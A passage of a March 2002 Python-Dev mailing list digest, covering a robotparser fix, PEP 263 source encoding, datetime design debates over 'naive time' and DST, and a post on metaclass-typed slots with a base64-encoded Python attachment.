Date: Tue, 5 Mar 2002 07:46:22 -0800 (PST)
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib robotparser.py,1.10,1.11
In-Reply-To: <2m3czfyqmo.fsf@starship.python.net> from "Michael Hudson" at Mar 05, 2002 03:35:11 PM
Message-ID: <20020305154622.040B3E8C6@waltz.rahul.net>

Michael Hudson wrote:
> "Martin v. L?wis" <loewis@users.sourceforge.net> writes:
>> 
>> Modified Files:
>> 	robotparser.py 
>> Log Message:
>> Correct various errors: 
>> - Use substring search, not re search for user-agent and paths. 
>> - Consider * entry last. Unquote, then requote URLs. 
>> - Treat empty Disallow as "allow everything". 
>> Add test cases. Fixes #523041
> 
> I can't tell and Martin's not sure whether this is appropriate for the
> 2.2.1 branch.  What do others think?

-0.5

It's not a change in actual functionality, but those changes sound
fairly extensive.
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From neal@metaslash.com  Tue Mar  5 16:43:00 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Tue, 05 Mar 2002 11:43:00 -0500
Subject: [Python-Dev] PEP 263 -- Python Source Code Encoding
References: <LNBBLJKPBEHFEDALKOLCEEMPNPAA.tim.one@comcast.net>
 <3C7CAFD3.60B32168@lemburg.com> <15485.5491.709403.99698@beluga.mojam.com>
Message-ID: <3C84F594.5865AF52@metaslash.com>

Skip Montanaro wrote:
> 
>     >> Python uses the 7-bit ASCII character set for program text and string
>     >> literals.  8-bit characters may be used in string literals and
>     >> comments but their interpretation is platform dependent; the proper
>     >> way to insert 8-bit characters in string literals is by using octal
>     >> or hexadecimal escape sequences.
> 
>     mal> It's a fact of life that users don't read reference manuals, but
>     mal> simply write programs and feel good if they happen to work :-)
> 
> Perhaps a warning should be emitted by the compiler if a plain string
> literal is found that contains 8-bit characters.  Better yet, perhaps Neal
> can add this to PyChecker if he hasn't already...

Not yet, but I've been watching this issue as well as string interpolation.
Whenever a final direction is decided, I will update checker to warn
about potential problems.

Neal


From nas@python.ca  Tue Mar  5 18:07:04 2002
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 5 Mar 2002 10:07:04 -0800
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203050353.g253rjW30585@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Mon, Mar 04, 2002 at 10:53:45PM -0500
References: <LNBBLJKPBEHFEDALKOLCCEGAOBAA.tim.one@comcast.net> <200203050353.g253rjW30585@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020305100704.A26405@glacier.arctrix.com>

Guido van Rossum wrote:
> Gosh, time computations are full of surprises, even of you disregard
> the Julian calendar and leap seconds. :-(

There was a quote about God creating time in order to confuse man that I
can't find it now.  I did find this link:

     http://www.naggum.no/lugm-time.html

I looks like Erik put a lot of work into it.

  Neil


From guido@python.org  Tue Mar  5 18:34:46 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 05 Mar 2002 13:34:46 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Tue, 05 Mar 2002 00:18:27 EST."
 <LNBBLJKPBEHFEDALKOLCOEGHOBAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEGHOBAA.tim.one@comcast.net>
Message-ID: <200203051834.g25IYks06743@pcp742651pcs.reston01.va.comcast.net>

> I confess I never understood C's baroque timezone and DST gimmicks.
> I think I can understand the words, but they always surprised me
> when I tried to use them.

Yesterday I finally realized what the tm_isdst flag is really for.
It's so that you can represent any UTC timepoint as local time,
without ambiguity.  The only time when the DST flag is needed is in
the one hour per year where DST and non-DST overlap: the first hour
after the clock is set back an hour (at the end of the summer).

> I'm not sure the base datetime class should be in the timezone or
> DST businesses at all, because there are sooooo many ways people
> might want to see them done.  If we are in that business, though, I
> think I'd rather cut the number of distinct methods, and have
> e.g. all-purpose .ctime(arg) and .timetuple(arg) etc methods, where
> arg specifies whether you want to get back the time exactly as
> stored, converted to UTC, or converted to local time.  Maybe that
> should even be a general tzoffset-in-minute argument, which special
> values outside of -1439..1439 predefined via symbolic name to mean
> "as stored, UTC, or local".  Then 0 would be synonymous with "as
> stored", I guess.  The natural meaning of the sign bit escapes me
> ...

...Or something like that.  I'm beginning to agree that our treatment
of timezones is not right.  See my next message.

> If anything, the current prototype is trying to do too much,
> although it's a mere fraction of what people will want.

:-)

> I'll lend you "Calendrical Calculations".  Even *skimming* the
> chapters on some of the world's other calendrical delights makes our
> date gimmicks blind via the intensity of their clarity <blink>.

No thanks.  I'd rather reimplement HTTP 1.1 from scratch...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Mar  5 19:25:44 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 05 Mar 2002 14:25:44 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Tue, 05 Mar 2002 06:58:38 EST."
 <Pine.LNX.4.44.0203050640470.3006-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0203050640470.3006-100000@penguin.theopalgroup.com>
Message-ID: <200203051925.g25JPjS09438@pcp742651pcs.reston01.va.comcast.net>

> > [MAL]
> > You should forget about DST if you want a sane 
> > implementation. Same for leap seconds.

[Kevin Jacobs]
> My datetime objects manage these complexities by layering their
> implementation.  Our base class stores a time since epoch and a
> timezone offset.  It implements all the arithmetic functions based
> on 1day=24hours and has methods that re-normalize the timezone to a
> fixed offset after every modifying operation.  It also has a
> translate(tzoffset) function that returns the an adjusted time since
> epoch with a different timezone offset.  This way, our client
> applications _never_ deal with DST or timezone changes unless they
> request it.

You can try to hide from DST, but you can't run.  It always shows its
ugly head when you lift the next stone, just as you least expected it.

I'm thinking of a layered implementation myself, and I think some big
changes to the datetime.py prototype will be necessary.  I'm thinking
that for most *business* uses of date and time, we should have the
same attitude towards DST that we've already decided to take towards
leap seconds.  If I move an appointment that's scheduled for 12 noon
today and move it a week ahead, it should still show up at 12 noon,
even if the DST changes in between.

I think I want to introduce a new concept, closely related to local
time, that I'll dub "naive time" for now.  In naive time, there is no
timezone and there is no DST.  To compensate for DST, you have to
manually change the clock, which is an action outside the system,
unknown to the system, and irrelevant to the working of the system.
Ditto to change time zones.

Naive time is what you see on your watch or your Palm organizer
(apparently not on PocketPC or Windows/CE though, which are timezone
aware).  A day is always 24 hours, and the clock always shows local
time.  When the DST jump happens, you lose or win an hour but you do
your best to pretend it didn't happen, by going to bed a little
earlier or by partying a little longer (or any other activity that
causes memory loss :-).

My Palm has no problem keeping track of appointments in different
timezones: when I have a meeting in San Francisco at 11am, I enter it
at 11am, and when I fly there, I move the Palm's clock three hours
back.  Naive time adapts to local time -- time flies (or stands still)
when you're in an airplane crossing timezones.

Naive time calculations are easier than local time calculations,
because they don't have to worry about DST.  You only have to be
careful when converting between naive time and UTC (or anything else
that has a concept of timezone).

Which brings us to...

> For calculations that require DST awareness, of which there are a
> surprising number, we have a datetime sub-class that adds two extra
> modes:
> 
>   1) Fixed tzoffset (from base datetime)
> 
>   2) Fixed tzoffset +/- fixed DST adjustment based on current time since
>      epoch (folds in to case 1 after initialization)
> 
>   3) Fixed tzoffset +/- dynamic DST based on stored time since epoch
>      (dynamically updates after every mutating date operation)

I'm not sure exactly what these mean yet, but by the time I've
implemented the new regime in datetime.py, I expect I will. :-)

I'm very tempted to put all the smarts in conversions though: you can
take a naive datetime object, interpret it in a particular timezone
using a given DST ruleset (local time and UTC being two common cases)
and convert it to a timestamp, which has different semantics, but can
be converted back to naive time by interpreting according to some
timezone.

> > If someone wants DST and timezone aware time differences,
> > then this is a completely different concept than taking the
> > difference w/r to number of days.
> 
> Precisely.  Our implementation is sub-optimal in that it can do
> roughly twice as much work as necessary at times.  This is because
> we layer the DST adjustments on top of the datetime object.  The
> advantage to this approach is that the code is very cleanly
> segregated between DST agnostic code and DST pathological code.

And that's what I want too.

> > Just to hint at another problem: you sometimes want to
> > know the time difference of two dates in terms of
> > years, months, days, hours, etc. that is, you are not
> > interested in 86400 second days, but in calendar days
> > or even months. For months you'll run into problems
> > with non-existing days, e.g. for 2002-03-31 - 1 month.
> 
> We handle these cases with a business logic layer on top of the DST
> aware datetime object.  It handles exceptions thrown, like
> BeyondEndOfMonthError, and takes the appropriate action.  In the
> case of BeyondEndOfMonthError, the typical resolution is to set the
> day to the last day of the month.

Good idea.  This can probably be remain implemented in Python.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From paul@svensson.org  Tue Mar  5 20:21:39 2002
From: paul@svensson.org (Paul Svensson)
Date: Tue, 5 Mar 2002 15:21:39 -0500 (EST)
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203051925.g25JPjS09438@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.21.0203051436060.721-100000@familjen.svensson.org>

On Tue, 5 Mar 2002, Guido van Rossum wrote:

(---)

>I think I want to introduce a new concept, closely related to local
>time, that I'll dub "naive time" for now.  In naive time, there is no
>timezone and there is no DST.  To compensate for DST, you have to
>manually change the clock, which is an action outside the system,
>unknown to the system, and irrelevant to the working of the system.
>Ditto to change time zones.
>
>Naive time is what you see on your watch or your Palm organizer
>(apparently not on PocketPC or Windows/CE though, which are timezone
>aware).  A day is always 24 hours, and the clock always shows local
>time.  When the DST jump happens, you lose or win an hour but you do
>your best to pretend it didn't happen, by going to bed a little
>earlier or by partying a little longer (or any other activity that
>causes memory loss :-).

(---)

>My Palm has no problem keeping track of appointments in different
>timezones: when I have a meeting in San Francisco at 11am, I enter it
>at 11am, and when I fly there, I move the Palm's clock three hours
>back.  Naive time adapts to local time -- time flies (or stands still)
>when you're in an airplane crossing timezones.
>
>Naive time calculations are easier than local time calculations,
>because they don't have to worry about DST.  You only have to be
>careful when converting between naive time and UTC (or anything else
>that has a concept of timezone).

(---)

>I'm very tempted to put all the smarts in conversions though: you can
>take a naive datetime object, interpret it in a particular timezone
>using a given DST ruleset (local time and UTC being two common cases)
>and convert it to a timestamp, which has different semantics, but can
>be converted back to naive time by interpreting according to some
>timezone.

(---)

Am I misunderstanding something, or is your "naive time" simply local
time without the knowledge of DST or time zone ?  If so, you have an
excellent solution that works 99.97% of the time.  Unfortunately, once
you have removed the one bit of DST information, it's not always possible
to get it back, without knowing _which_ 2:30 Sunday morning...

	/Paul




From jacobs@penguin.theopalgroup.com  Tue Mar  5 20:23:07 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Tue, 5 Mar 2002 15:23:07 -0500 (EST)
Subject: [Python-Dev] Explorations on new-style classes
Message-ID: <Pine.LNX.4.44.0203051507090.5551-200000@penguin.theopalgroup.com>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--416156269-816924027-1015359787=:5551
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi all,

I've been sick, and have not had the strength to continue last week's
thread on slots.  I'll get back to it, but in the mean time I thought I'd
share a little of what my feverish brain has come up with:

First, should we add the type of a slot descriptor to 'types'?  i.e.:

  # Get the type of a member descriptor (its not currently in types)
  class _Foo(object):
    __slots__ = 'a'
  member_descriptor = type(_Foo.a)
  del _Foo

If so, I'll submit a patch related the the above.

Second, I've been twisting metaclasses to do my evil bidding.  In this case,
I have implemented pseudo-typed attributes and slots in Python. e.g.:

  class A(object):
    __metaclass__ = ConstrainedObject
    __slots__ = {'a':int,'b':float}

  class B(A):
    __attrs__ = {'c':str}  # My own invention

  foo=B()
  foo.a = 1
  foo.b = 1
  foo.c = 1

  print foo.a,foo.b,foo.c
  > 1 1.0 1

  print type(foo.a),type(foo.b),type(foo.c)
  > <type 'int'> <type 'float'> <type 'str'>

  foo.a = '5'
  foo.b = '0x5A'
  foo.c = 5.4

  print foo.a,foo.b,foo.c
  > 5 1.40625 5.4

  foo.a = 'Spam!'
  > ValueError: invalid literal for int(): Spam!


The first thing to notice is that float('0x5A') == 1.40625?!  I can see what
it is doing, though it doesn't seem to be the most intuitive behavior. 
However, this is tangential to what I really care about -- I just thought
I'd share my initial confusion.

Thirdly, properties doesn't seem to be subclassable.  Or at least they fail
to be properties once subclassed.  This isn't a big deal, but it should be
documented if it is an intentional behavior.  See the attached file for
more why...

Third, metaclasses are _fun_.  The above example uses silly constraint
objects, since they do all kinds of possibly smart and annoying things.
e.g., Instead of using str, int and float, we can easily define functions
like:

  def str_constraint(s):
    if type(s) is not types.StringType:
      raise TypeError, "I'm sorry Dave, but I expected a string."
    return s

Anyhow, the implementation of my constraint meta-class is attached.  Give it
a read-over if you feel masochistic and let me know what you think.

Still running a fever,
-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com

--416156269-816924027-1015359787=:5551
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="constraints.py"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0203051523070.5551@penguin.theopalgroup.com>
Content-Description: 
Content-Disposition: attachment; filename="constraints.py"

IyBHZXQgdGhlIHR5cGUgb2YgYSBtZW1iZXIgZGVzY3JpcHRvciAoaXRzIG5v
dCBjdXJyZW50bHkgaW4gdHlwZXMpDQpjbGFzcyBfRm9vKG9iamVjdCk6DQog
IF9fc2xvdHNfXyA9ICdhJw0KbWVtYmVyX2Rlc2NyaXB0b3IgPSB0eXBlKF9G
b28uYSkNCmRlbCBfRm9vDQoNCiMgVGhpcyBjdXJyZW50bHkgZG9lcyBub3Qg
d29yayANCiMgLS0gcHJvcGVydHkgaXMgbm90IGN1cnJlbnRseSBzdWItY2xh
c3NhYmxlLCBzaW5jZSB0aGUgcmVzdWx0aW5nIG9iamVjdHMgbm8NCiMgbG9u
Z2VyIGFjdCBsaWtlIHByb3BlcnRpZXMuDQpjbGFzcyBjb25zdHJhaW50X2Rl
c2NyaXB0b3IocHJvcGVydHkpOg0KICBkZWYgX19uZXdfXyhjbHMsIG5hbWUs
IGNvbnN0cmFpbnQsIGJhc2VfZGVzY3IgPSBOb25lKToNCg0KICAgICMgQnVp
bGQgYSBkZXNjcmlwdG9yIGZvciBhbiBpbnN0YW5jZSBhdHRyaWJ1dGUgDQog
ICAgaWYgbm90IGJhc2VfZGVzY3I6DQogICAgICBmZ2V0ID0gbGFtYmRhIHNl
bGYseD1uYW1lOiB2YXJzKHNlbGYpW3hdDQogICAgICBmc2V0ID0gbGFtYmRh
IHNlbGYsdmFsLHg9bmFtZSx0Yz1jb25zdHJhaW50OiB2YXJzKHNlbGYpLl9f
c2V0aXRlbV9fKHgsdGModmFsKSkNCiAgICAgIGZkZWwgPSBsYW1iZGEgc2Vs
Zix4PW5hbWU6IHZhcnMoc2VsZikuX19kZWxpdGVtX18oeCkNCiAgICAgIGZk
b2MgPSBOb25lDQoNCiAgICAjIFNob3VsZCBjaGVjayB0byBzZWUgaWYgdGhl
IGNvbnN0cmFpbnQgaXMgcmVkdW5kYW50IC0tIHRob3VnaCBqdXN0IHJldHVy
bg0KICAgICMgdGhlIGV4aXN0aW5nIGRlc2NyaXB0b3IgZm9yIG5vdy4NCiAg
ICBlbGlmIGlzaW5zdGFuY2UoYmFzZV9kZXNjcixjb25zdHJhaW50X2Rlc2Ny
aXB0b3IpOg0KICAgICAgcmV0dXJuIGJhc2VfZGVzY3INCg0KICAgICMgQnVp
bGQgYSBwcm9wZXJ0eSB0aGF0IG92ZXJyaWRlcyBhIHNsb3QgZGVzY3JpcHRv
cg0KICAgIGVsaWYgaXNpbnN0YW5jZShiYXNlX2Rlc2NyLG1lbWJlcl9kZXNj
cmlwdG9yKToNCiAgICAgIGZnZXQgPSBiYXNlX2Rlc2NyLl9fZ2V0X18NCiAg
ICAgIGZzZXQgPSBsYW1iZGEgc2VsZix4LGQ9YmFzZV9kZXNjcix0Yz1jb25z
dHJhaW50OiBkLl9fc2V0X18oc2VsZix0Yyh4KSkNCiAgICAgIGZkZWwgPSBO
b25lICAjID8/IERvbid0IGtub3cgaG93IHRvIGltcGxlbWVudCB0aGlzID8/
DQogICAgICBmZG9jID0gYmFzZV9kZXNjci5fX2RvY19fDQoNCiAgICAjIEJ1
aWxkIGEgcHJvcGVydHkgdGhhdCBvdmVycmlkZXMgYW4gZXhpc3RpbmcgcHJv
cGVydHkNCiAgICBlbGlmIGlzaW5zdGFuY2UoYmFzZV9kZXNjcixwcm9wZXJ0
eSk6DQogICAgICBmZ2V0ID0gYmFzZV9kZXNjci5mZ2V0DQogICAgICBmc2V0
ID0gbGFtYmRhIHNlbGYseCxkPWJhc2VfZGVzY3IsdGM9Y29uc3RyYWludDog
ZC5mc2V0KHNlbGYsdGMoeCkpDQogICAgICBmZGVsID0gYmFzZV9kZXNjci5m
ZGVsDQogICAgICBmZG9jID0gYmFzZV9kZXNjci5fX2RvY19fDQoNCiAgICAj
IERvbid0IGtub3cgd2hhdCB0byBkby4uLiAgKD8/IGNoZWNrIHRvIHNlZSB3
ZSBkaWRuJ3QgbWlzcyBhbnkgaW1wb3J0YW50IGNhc2VzID8/KQ0KICAgIGVs
c2U6DQogICAgICByYWlzZSBUeXBlRXJyb3IsJ1Vua25vd24gZGVzY3JpcHRv
ciB0eXBlIGZvciBjb25zdHJhaW50OiAnICsgc3RyKGJhc2VfZGVzY3IpDQoN
CiAgICByZXR1cm4gcHJvcGVydHkuX19uZXdfXyhjbHMsZmdldCxmc2V0LGZk
ZWwsZmRvYykNCg0KDQpkZWYgY29uc3RyYWludF9kZXNjcmlwdG9yKG5hbWUs
IGNvbnN0cmFpbnQsIGJhc2VfZGVzY3IgPSBOb25lKToNCiAgIyBCdWlsZCBh
IGRlc2NyaXB0b3IgZm9yIGFuIGluc3RhbmNlIGF0dHJpYnV0ZSANCiAgaWYg
bm90IGJhc2VfZGVzY3I6DQogICAgZmdldCA9IGxhbWJkYSBzZWxmLHg9bmFt
ZTogdmFycyhzZWxmKVt4XQ0KICAgIGZzZXQgPSBsYW1iZGEgc2VsZix2YWws
eD1uYW1lLHRjPWNvbnN0cmFpbnQ6IHZhcnMoc2VsZikuX19zZXRpdGVtX18o
eCx0Yyh2YWwpKQ0KICAgIGZkZWwgPSBsYW1iZGEgc2VsZix4PW5hbWU6IHZh
cnMoc2VsZikuX19kZWxpdGVtX18oeCkNCiAgICBmZG9jID0gTm9uZQ0KDQog
ICMgQnVpbGQgYSBwcm9wZXJ0eSB0aGF0IG92ZXJyaWRlcyBhIHNsb3QgZGVz
Y3JpcHRvcg0KICBlbGlmIGlzaW5zdGFuY2UoYmFzZV9kZXNjcixtZW1iZXJf
ZGVzY3JpcHRvcik6DQogICAgZmdldCA9IGJhc2VfZGVzY3IuX19nZXRfXw0K
ICAgIGZzZXQgPSBsYW1iZGEgc2VsZix4LGQ9YmFzZV9kZXNjcix0Yz1jb25z
dHJhaW50OiBkLl9fc2V0X18oc2VsZix0Yyh4KSkNCiAgICBmZGVsID0gTm9u
ZSAgIyA/PyBEb24ndCBrbm93IGhvdyB0byBpbXBsZW1lbnQgdGhpcyA/Pw0K
ICAgIGZkb2MgPSBiYXNlX2Rlc2NyLl9fZG9jX18NCg0KICAjIEJ1aWxkIGEg
cHJvcGVydHkgdGhhdCBvdmVycmlkZXMgYW4gZXhpc3RpbmcgcHJvcGVydHkN
CiAgZWxpZiBpc2luc3RhbmNlKGJhc2VfZGVzY3IscHJvcGVydHkpOg0KICAg
IGZnZXQgPSBiYXNlX2Rlc2NyLmZnZXQNCiAgICBmc2V0ID0gbGFtYmRhIHNl
bGYseCxkPWJhc2VfZGVzY3IsdGM9Y29uc3RyYWludDogZC5mc2V0KHNlbGYs
dGMoeCkpDQogICAgZmRlbCA9IGJhc2VfZGVzY3IuZmRlbA0KICAgIGZkb2Mg
PSBiYXNlX2Rlc2NyLl9fZG9jX18NCg0KICAjIERvbid0IGtub3cgd2hhdCB0
byBkby4uLiAgKD8/IGNoZWNrIHRvIHNlZSB3ZSBkaWRuJ3QgbWlzcyBhbnkg
aW1wb3J0YW50IGNhc2VzID8/KQ0KICBlbHNlOg0KICAgIHJhaXNlIFR5cGVF
cnJvciwnVW5rbm93biBkZXNjcmlwdG9yIHR5cGUgZm9yIGNvbnN0cmFpbnQ6
ICcgKyBzdHIoYmFzZV9kZXNjcikNCg0KICByZXR1cm4gcHJvcGVydHkoZmdl
dCxmc2V0LGZkZWwsZmRvYykNCg0KDQpjbGFzcyBDb25zdHJhaW5lZE9iamVj
dCh0eXBlKToNCiAgX19zbG90c19fID0gKCkNCg0KICBkZWYgX19pbml0X18o
Y2xzLCBuYW1lLCBiYXNlcywgY2xzX2RpY3QpOg0KDQogICAgc3VwZXIoQ29u
c3RyYWluZWRPYmplY3QsY2xzKS5fX2luaXRfXyhjbHMsbmFtZSxiYXNlcyxj
bHNfZGljdCkNCg0KICAgIHNsb3RzID0gZ2V0YXR0cihjbHMsJ19fc2xvdHNf
XycsTm9uZSkNCiAgICBhdHRycyA9IGdldGF0dHIoY2xzLCdfX2F0dHJzX18n
LE5vbmUpDQoNCiAgICB0eXBlZF9pdGVtcyA9IHt9DQogICAgaWYgc2xvdHMg
YW5kIHR5cGUoc2xvdHMpIGlzIGRpY3Q6DQogICAgICB0eXBlZF9pdGVtcy51
cGRhdGUoc2xvdHMpDQogICAgaWYgYXR0cnMgYW5kIHR5cGUoYXR0cnMpIGlz
IGRpY3Q6DQogICAgICB0eXBlZF9pdGVtcy51cGRhdGUoYXR0cnMpDQoNCiAg
ICBmb3IgbmFtZSxjb25zdHJhaW50IGluIHR5cGVkX2l0ZW1zLml0ZXJpdGVt
cygpOg0KICAgICAgaWYgbm90IGNvbnN0cmFpbnQ6DQogICAgICAgIGNvbnRp
bnVlDQogICAgICBvbGRfZGVzY3IgPSBnZXRhdHRyKGNscyxuYW1lLE5vbmUp
DQogICAgICBuZXdfZGVzY3IgPSBjb25zdHJhaW50X2Rlc2NyaXB0b3IobmFt
ZSwgY29uc3RyYWludCwgb2xkX2Rlc2NyKQ0KICAgICAgc2V0YXR0cihjbHMs
bmFtZSxuZXdfZGVzY3IpDQoNCg0KZGVmIHRlc3QoKTogIA0KICBjbGFzcyBB
KG9iamVjdCk6DQogICAgX19tZXRhY2xhc3NfXyA9IENvbnN0cmFpbmVkT2Jq
ZWN0DQogICAgX19zbG90c19fID0geydhJzppbnQsJ2InOmZsb2F0fQ0KDQog
IGNsYXNzIEIoQSk6DQogICAgX19hdHRyc19fID0geydjJzpzdHJ9DQoNCiAg
Zm9vPUIoKQ0KICBmb28uYSA9IDENCiAgZm9vLmIgPSAxDQogIGZvby5jID0g
MQ0KDQogIHByaW50IGZvby5hLGZvby5iLGZvby5jDQogIHByaW50IHR5cGUo
Zm9vLmEpLHR5cGUoZm9vLmIpLHR5cGUoZm9vLmMpDQoNCiAgZm9vLmEgPSAn
NScNCiAgZm9vLmIgPSAnMHg1QScNCiAgZm9vLmMgPSA1LjQNCg0KICBwcmlu
dCBmb28uYSxmb28uYixmb28uYw0KICBwcmludCB0eXBlKGZvby5hKSx0eXBl
KGZvby5iKSx0eXBlKGZvby5jKQ0KDQogIGRlbCBmb28uYw0KICBmb28uYyA9
IC05OS4wMDAwMDAwMDAwMDAwDQoNCiAgcHJpbnQgZm9vLmEsZm9vLmIsZm9v
LmMNCiAgcHJpbnQgdHlwZShmb28uYSksdHlwZShmb28uYiksdHlwZShmb28u
YykNCg0KICBmb28uYSA9ICdTcGFtIScNCg0KaWYgX19uYW1lX18gPT0gJ19f
bWFpbl9fJzoNCiAgdGVzdCgpDQo=
--416156269-816924027-1015359787=:5551--


From guido@python.org  Tue Mar  5 20:30:37 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 05 Mar 2002 15:30:37 -0500
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: Your message of "Tue, 05 Mar 2002 15:21:39 EST."
 <Pine.LNX.4.21.0203051436060.721-100000@familjen.svensson.org>
References: <Pine.LNX.4.21.0203051436060.721-100000@familjen.svensson.org>
Message-ID: <200203052030.g25KUb112817@pcp742651pcs.reston01.va.comcast.net>

> Am I misunderstanding something, or is your "naive time" simply local
> time without the knowledge of DST or time zone ?

Exactly.

> If so, you have an
> excellent solution that works 99.97% of the time.  Unfortunately, once
> you have removed the one bit of DST information, it's not always possible
> to get it back, without knowing _which_ 2:30 Sunday morning...

Exactly.  And I don't care.  In fact, I would go further, and claim
that not caring about this is the whole point.  If you had cared about
this, you would have saved UTC timestamps.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Mar  5 20:38:43 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 05 Mar 2002 15:38:43 -0500
Subject: [Python-Dev] Explorations on new-style classes
In-Reply-To: Your message of "Tue, 05 Mar 2002 15:23:07 EST."
 <Pine.LNX.4.44.0203051507090.5551-200000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0203051507090.5551-200000@penguin.theopalgroup.com>
Message-ID: <200203052038.g25KchU12893@pcp742651pcs.reston01.va.comcast.net>

> First, should we add the type of a slot descriptor to 'types'?  i.e.:
> 
>   # Get the type of a member descriptor (its not currently in types)
>   class _Foo(object):
>     __slots__ = 'a'
>   member_descriptor = type(_Foo.a)
>   del _Foo
> 
> If so, I'll submit a patch related the the above.

I'd rather not.  After all I see this as an implementation detail.

> Second, I've been twisting metaclasses to do my evil bidding.

Do you mind if I put off reading about that until later?  I've got my
hands full. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Tue Mar  5 20:41:31 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 05 Mar 2002 21:41:31 +0100
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
References: <Pine.LNX.4.44.0203050640470.3006-100000@penguin.theopalgroup.com> <200203051925.g25JPjS09438@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C852D7B.5CDAD664@lemburg.com>

Guido van Rossum wrote:
> 
> > > [MAL]
> > > You should forget about DST if you want a sane
> > > implementation. Same for leap seconds.
>
> I think I want to introduce a new concept, closely related to local
> time, that I'll dub "naive time" for now.  In naive time, there is no
> timezone and there is no DST.  To compensate for DST, you have to
> manually change the clock, which is an action outside the system,
> unknown to the system, and irrelevant to the working of the system.
> Ditto to change time zones.
> 
> Naive time is what you see on your watch or your Palm organizer
> (apparently not on PocketPC or Windows/CE though, which are timezone
> aware).  A day is always 24 hours, and the clock always shows local
> time.  When the DST jump happens, you lose or win an hour but you do
> your best to pretend it didn't happen, by going to bed a little
> earlier or by partying a little longer (or any other activity that
> causes memory loss :-).
> 
> My Palm has no problem keeping track of appointments in different
> timezones: when I have a meeting in San Francisco at 11am, I enter it
> at 11am, and when I fly there, I move the Palm's clock three hours
> back.  Naive time adapts to local time -- time flies (or stands still)
> when you're in an airplane crossing timezones.
> 
> Naive time calculations are easier than local time calculations,
> because they don't have to worry about DST.  You only have to be
> careful when converting between naive time and UTC (or anything else
> that has a concept of timezone).

Just to let you know: you are slowly narrowing in on mxDateTime ;-)
(the naive type is pretty much what I have implemented as 
DateTime object).

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From tim.one@comcast.net  Tue Mar  5 20:55:17 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 05 Mar 2002 15:55:17 -0500
Subject: [Python-Dev] RE: [Python-checkins] CVS: python/nondist/sandbox/datetime
 datetime.py,1.50,1.51
In-Reply-To: <3C84A108.497B534D@lemburg.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEJOOBAA.tim.one@comcast.net>

[MAL, on DST for out-of-platform-mktime()-range years]
> My point was to not fiddle with the date at all: raise an
> exception and that's it.

If someone wants to print some datetime object from the year 1537 as =
if a
local time, raising an exception just because the local DST rules in =
effect
at that time are unknown seems extremely unfriendly.  For goodness sa=
ke,
we're already "lying" to them about the calendar system in effect at =
that
time, and an hour more or less due to DST uncertainty is trivial.  It=
's an
idealized calendar, and an idealized time.

We should supply a way for the user to find out whether or not a DST
correction was applied, though.  ECMAScript does that via a

    DaylightSavingTA(t)

function mapping UTC time to the number of milliseconds (all their ti=
mes are
in milliseconds) to be added to t to adjust for local DST.  A distinc=
t
LocalTZA constant gives the number of msecs to add to UTC to adjust f=
or
local timezone.

    Conversion from UTC to local time is defined by

        LocalTime(t) =3D t + LocalTZA + DaylightSavingTA(t)

    Conversion from local time to UTC is defined by

        UTC(t) =3D t =96 LocalTZA =96 DaylightSavingTA(t =96 LocalTZA=
)

    Note that UTC(LocalTime(t)) is not necessarily always equal to t.

That last line gives me an especially warm feeling <wink>.

there's-idealized-and-then-there's-idealized-ly y'rs  - tim




From Jack.Jansen@oratrix.com  Tue Mar  5 21:32:04 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 5 Mar 2002 22:32:04 +0100
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203051925.g25JPjS09438@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <701E8C5C-3080-11D6-9548-003065517236@oratrix.com>

On dinsdag, maart 5, 2002, at 08:25 , Guido van Rossum wrote:
> I think I want to introduce a new concept, closely related to local
> time, that I'll dub "naive time" for now.  In naive time, there is no
> timezone and there is no DST.  To compensate for DST, you have to
> manually change the clock, which is an action outside the system,
> unknown to the system, and irrelevant to the working of the system.
> Ditto to change time zones.

This sounds like an absolutely brilliant idea! And I think that 
